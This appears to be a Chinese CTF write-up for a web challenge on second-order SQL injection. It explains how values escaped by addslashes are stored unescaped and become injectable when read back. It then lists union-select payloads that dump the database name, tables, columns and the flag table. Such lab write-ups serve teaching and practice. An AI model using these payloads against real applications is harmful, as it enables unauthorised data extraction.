【WEB】October 2019 Twice SQL Injection

打开题目,进入到注册页面:

随意输入1和1进去。

登录进去,发现有输入框,猜测是不是SQL注入,再次进行测试。

发现我们的单引号被转义了。

合理猜测有addslashes的存在。

  • 它会在 '、"、\、NUL 前面加一个反斜杠。比如你输入 1' union,它变成 1\' union
  • 当次 SQL 里,\' 表示 "一个普通的单引号字符",不再起到 "闭合字符串" 的作用,所以注入语句被封死 ------这就是第一次(注册、登录、改简介)直接注入都失败的原因 ,你在输入框里能看到回显变成了 \'
  • 但是 :反斜杠只是给 SQL 解析器看的 "转义记号",insert 真正写进表字段时,存的是转义后的值本身,也就是那个干净的 ',反斜杠不会被存进去
  • 于是:等以后这条数据被读出来、再拼进另一条 SQL 时,如果那个地方没再调用 addslashes ,原始的 ' 就 "复活" 了 ------ 这正是二次注入。

当我们在注册页面进行SQL注入:

zz 是个不存在的用户名,让前半截查空;

登陆后再次查看发现回显位为1。

接下来继续这样操作,脱库脱表脱列:

sql 复制代码
zz' union select database()#
sql 复制代码
zz' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
sql 复制代码
zz' union select (select group_concat(column_name) from information_schema.columns where table_name="flag")#
sql 复制代码
zz' union select (select group_concat(flag) from flag)#
相关推荐
Elastic 中国社区官方博客1 小时前
Elasticsearch:ES|QL 搜索教程
大数据·数据库·人工智能·sql·elasticsearch·搜索引擎·全文检索
喂自己代言1 小时前
从 0.7 秒到 11 毫秒:OceanBase 一条慢 SQL 的三连坑优化实战
数据库·sql·oceanbase
哈__1 小时前
KES-Operator正式发布:基于Kubernetes的数据库集群云原生全生命周期管理方案
数据库·云原生·kubernetes
鸽芷咕2 小时前
金仓KES向量数据库实战:一条SQL干掉ETL,机器人不再把停产货当现货卖
数据库·sql·etl
倍利福猎头公司官方账号2 小时前
2026机器人猎头公司怎么选?收费标准与合作注意事项【HR版】
大数据·数据库·机器人·求职招聘·业界资讯
行业研究员2 小时前
云原生数据库推荐排行与选型
数据库·云原生·云原生库
Maynor9962 小时前
「原子弹爆炸」级别:Astra 复刻游戏合集(含实机截图)
java·linux·运维·数据库·gpt·游戏
蓝速科技2 小时前
蓝速科技丨多网点涉外窗口翻译机批量部署实战指南
服务器·数据库·人工智能·缓存·语音识别
2601_967019512 小时前
免费SSL与商业SSL证书对比:企业生产环境适用性评估
数据库